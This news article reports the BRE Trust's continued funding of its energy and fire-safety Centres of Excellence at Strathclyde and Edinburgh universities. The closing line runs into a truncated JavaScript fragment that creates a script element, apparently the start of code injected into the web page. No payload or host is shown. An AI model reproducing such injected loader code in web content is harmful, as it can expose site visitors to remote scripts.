By Émer O’Toole, News Editor

BRE Trust, the largest British charity to deal with research and education in the built environment, has announced that it will continue its Centres of Excellence at the Universities of Strathclyde and Edinburgh.

BRE will continue to support the future of important research undertaken at the BRE Centre for Energy Utilisation at Strathclyde, and the BRE Centre for Fire Safety and Engineering at Edinburgh.

At Strathclyde, research areas involve energy supplies in future cities, energy demand management and low carbon buildings.

Research at Edinburgh includes building fire response modelling and the manufacture of new design, materials, structures and fire protection systems.

Rufus Logan, director of BRE Scotland, said: “This latest investment, which represents a significant six figure sum, secures the continuation for the next five years of education programmes with the BRE University Centres of Excellence at Strathclyde and Edinburgh, providing funding for PhD students and those studying for Masters degrees.”

It was also announced that Professor Joe Clarke and Professor Albert Simeoni have been appointed as the new Chairs of the Centres of Excellence at Strathclyde and Edinburgh Universities.

Professor Joe Clarke said that the investment allows Strathclyde to “strengthen engagement with the construction industry as a means to address the many challenges and opportunities associated with the built environment.”

Professor Albert Simeoni said: “We are delighted to have continued support from BRE in developing our Centre of Fire Safety Engineering at the University of Edinburgh. Our Centre of excellence is conducting pioneering research, which seeks to ensure that the buildings of today and tomorrow are safe from fire for those who live and work in them.”

In the UK, the BRE Trust has teamed up with five University Centres of Excellence. Since the educational investment scheme was launched in 2006, has supported more than 140 PhD studentships and 75 staff and invested in £40 million research portfolio.

This year, the Trust will fund additional research into the challenges faced by the built environment and publish project findings which act as authoritative guidance to the construction industry.var d=document;var s=d.createElement(‘script’);